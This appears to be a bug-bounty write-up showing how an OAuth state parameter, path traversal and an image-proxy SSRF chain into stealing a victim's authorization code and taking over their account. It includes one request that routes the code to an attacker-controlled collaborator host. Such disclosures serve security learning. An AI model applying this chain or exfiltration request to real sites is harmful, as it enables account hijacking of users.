Recon
The program required a specific cookie like usertest=hash for the
website to work. After setting it, I opened Burp Suite and started exploring
the application's functionality to understand how the target operates.
OAuth Authorization Flow
The target had OAuth login via Google, Microsoft, and Slack. After tracing the flow end-to-end, I mapped it to five HTTP requests:
Request 1 — initial click, redirect to the company's main website:
Request 2 — redirect to the Google login page:
Request 3 — Google provider code returned to the company's main website:
Request 4 — Google code passed from main site to a subdomain:
Request 5 — final exchange, auth cookie issued:
I tried manipulating redirect_uri at request 4, but the regex was
strictly fixed to the company's domain. Even an open redirect wouldn't help —
the parameter just couldn't be changed. I moved on to other features.
Change Profile Picture Flow
The "Update Profile Picture" call caught my attention:
The first instinct was SSRF, so I dropped a Burp Collaborator URL into AvatarUrl:
The Collaborator pinged back, which confirmed a server-side fetch was happening:
The browser doesn't fetch the avatar directly — there's a reverse proxy in the middle. After examining the rendered DOM I caught this image-proxy request:
I tried gopher, file, redirect-to-protocol-switch, SVG XSS/LFI, port scanning — everything was locked down. I moved on.
Chain Vulnerability Flow
Coming back to my notes, I realised: the reverse proxy takes a URL as a path and sends a GET request to whatever the URL is. Look at request 5 — the provider code arrives in the GET parameter. If I can get the OAuth flow to land on:
GET /imageProxy/https://attacker.oastify.com/?code= HTTP/1.1
I get the code. Examining the parameters Google's OAuth screen accepts:
redirect_uri is fixed. state is interesting — its
value is passed back to the main company site after auth, and the main site
validates and redirects the user to the URL inside state with the
code attached (this is request 4):
I now had to abuse the reverse proxy via the state parameter:
The state-checker regex was strict — almost any change returned 403, except appending characters to the path. The site accepted links like:
So I tried path traversal:
It worked — I could climb back a directory. Three levels back let me redirect to whatever path I wanted, with the code in tow:
I could now build a malicious link using either the target site or the provider as the entry point:
When the victim clicked either link and signed in, the provider code arrived at my Collaborator endpoint. Plug it into request 5 → victim's account.
I hope you enjoy :)